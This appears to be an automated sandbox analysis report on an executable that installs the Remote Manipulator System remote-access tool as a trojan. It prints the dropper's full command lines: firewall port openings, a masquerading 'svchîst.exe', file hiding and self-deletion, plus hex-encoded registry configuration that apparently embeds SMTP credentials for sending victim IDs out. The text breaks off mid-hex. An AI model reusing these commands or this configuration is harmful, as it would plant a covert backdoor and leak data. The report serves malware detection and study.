Overview

overview

10

Static

static

0b9ee1d860...94.exe

windows7_x64

10

0b9ee1d860...94.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    185s
  • max time network
    192s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    27/04/2022, 17:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    0b9ee1d8605aac2a861b474a38d4147cbf40cf36b1d87f9c582c1bd2a5c43e94.exe
  • Size 7.7MB
  • Sample220427-v7g2lsbbgj
  • SHA256 0b9ee1d8605aac2a861b474a38d4147cbf40cf36b1d87f9c582c1bd2a5c43e94
  • MD5 SHA1 SHA512
Score
10/10
rmsdiscoveryevasionrattrojan

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Drops file in Drivers directory 6 IoCs
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 24 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies registry class 19 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\0b9ee1d8605aac2a861b474a38d4147cbf40cf36b1d87f9c582c1bd2a5c43e94.exe
    "C:\Users\Admin\AppData\Local\Temp\0b9ee1d8605aac2a861b474a38d4147cbf40cf36b1d87f9c582c1bd2a5c43e94.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c if exist "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg" (goto& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svchîst.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit) else taskkill /f /im rutserv.exe& taskkill /f /im rfusclient.exe& reg delete "HKLM\SYSTEM\Remote Manipulator System" /f& netsh firewall add portopening TCP 5650 "Open Port 5650"& netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650& "%SYSTEMROOT%\System32\drivers\install.exe"& ping 127.0.0.1& "%SYSTEMROOT%\System32\drivers\svchîst.exe" /silentinstall&"%SYSTEMROOT%\System32\drivers\svchîst.exe" /firewall& "%SYSTEMROOT%\System32\drivers\svchîst.exe" /start& Echo Windows Registry Editor Version 5.00> %SYSTEMROOT%\System32\idfgvgjnghcdfb.reg& attrib +h +s "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg"& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svchîst.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit
      2⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im rutserv.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3088
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im rfusclient.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4672
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
        3⤵
          PID:5040
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add portopening TCP 5650 "Open Port 5650"
          3⤵
            PID:4344
          • C:\Windows\SysWOW64\netsh.exe
            netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650
            3⤵
              PID:1304
            • C:\Windows\SysWOW64\drivers\install.exe
              "C:\Windows\System32\drivers\install.exe"
              3⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:832
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b44414144354235352d324438382d344643452d413843442d3137434141363034454143327d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f70797240636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433576a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f70797240636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
                4⤵
                  PID:4472
                  • C:\Windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b44414144354235352d324438382d344643452d413843442d3137434141363034454143327d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f70797240636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433576a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f70797240636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
                    5⤵
                    • Modifies registry class
                    PID:2424
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b31384637453930342d374243392d344539302d413043382d4245463430384630464543427d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e373c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f6465766963655f6d616e616765723e3c64697361626c655f636861743e66616c73653c2f64697361626c655f636861743e3c64697361626c655f73637265656e5f7265636f72643e66616c73653c2f64697361626c655f73637265656e5f7265636f72643e3c64697361626c655f61765f636170747572653e66616c73653c2f64697361626c655f61765f636170747572653e3c64697361626c655f73656e645f6d6573736167653e66616c73653c2f64697361626c655f73656e645f6d6573736167653e3c64697361626c655f72656769737472793e66616c73653c2f64697361626c655f72656769737472793e3c64697361626c655f61765f636861743e66616c73653c2f64697361626c655f61765f636861743e3c64697361626c655f72656d6f74655f73657474696e67733e66616c73653c2f64697361626c655f72656d6f74655f73657474696e67733e3c64697361626c655f72656d6f74655f7072696e74696e673e66616c73653c2f64697361626c655f72656d6f74655f7072696e74696e673e3c64697361626c655f7264703e66616c73653c2f64697361626c655f7264703e3c637573746f6d5f7365727665725f6c6973743e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787a5a584a325a584a6659323975626d566a6446396a623235305a58683049485a6c636e4e7062323439496a59354d544577496a3438636d317a58334e6c636e5a6c636e4d76506a777663325679646d567958324e76626d356c5933526659323975644756346444344e43673d3d3c2f637573746f6d5f7365727665725f6c6973743e3c73656c65637465645f637573746f6d5f7365727665725f69643e3c2f73656c65637465645f637573746f6d5f7365727665725f69643e3c637573746f6d5f7365727665725f6163636573733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787962584e6659574e7349485a6c636e4e7062323439496a59354d544577496a3438636d317a5832466a5a584d76506a786c626d4669624756666157356f5a584a7064443530636e566c5043396c626d4669624756666157356f5a584a70644434384c334a74633139685932772b44516f3d3c2f637573746f6d5f7365727665725f6163636573733e3c2f73656375726974795f73657474696e67733e0d0a /f
                  4⤵
                    PID:3816
                    • C:\Windows\SysWOW64\reg.exe
                      REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b31384637453930342d374243392d344539302d413043382d4245463430384630464543427d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e373c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f6465766963655f6d616e616765723e3c64697361626c655f636861743e66616c73653c2f64697361626c655f636861743e3c64697361626c655f73637265656e5f7265636f72643e66616c73653c2f64697361626c655f73637265656e5f7265636f72643e3c64697361626c655f61765f636170747572653e66616c73653c2f64697361626c655f61765f636170747572653e3c64697361626c655f73656e645f6d6573736167653e66616c73653c2f64697361626c655f73656e645f6d6573736167653e3c64697361626c655f72656769737472793e66616c73653c2f64697361626c655f72656769737472793e3c64697361626c655f61765f636861743e66616c73653c2f64697361626c655f61765f636861743e3c64697361626c655f72656d6f74655f73657474696e67733e66616c73653c2f64697361626c655f72656d6f74655f73657474696e67733e3c64697361626c655f72656d6f74655f7072696e74696e673e66616c73653c2f64697361626c655f72656d6f74655f7072696e74696e673e3c64697361626c655f7264703e66616c73653c2f64697361626c655f7264703e3c637573746f6d5f7365727665725f6c6973743e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787a5a584a325a584a6659323975626d566a6446396a623235305a58683049485a6c636e4e7062323439496a59354d544577496a3438636d317a58334e6c636e5a6c636e4d76506a777663325679646d567958324e76626d356c5933526659323975644756346444344e43673d3d3c2f637573746f6d5f7365727665725f6c6973743e3c73656c65637465645f637573746f6d5f7365727665725f69643e3c2f73656c65637465645f637573746f6d5f7365727665725f69643e3c637573746f6d5f7365727665725f6163636573733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787962584e6659574e7349485a6c636e4e7062323439496a59354d544577496a3438636d317a5832466a5a584d76506a786c626d4669624756666157356f5a584a7064443530636e566c5043396c626d4669624756666157356f5a584a70644434384c334a74633139685932772b44516f3d3c2f637573746f6d5f7365727665725f6163636573733e3c2f73656375726974795f73657474696e67733e0d0a /f
                      5⤵
                      • Modifies registry class
                      PID:388
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34343034332e393930353632383831393c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
                    4⤵
                      PID:1820
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34343034332e393930353632383831393c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3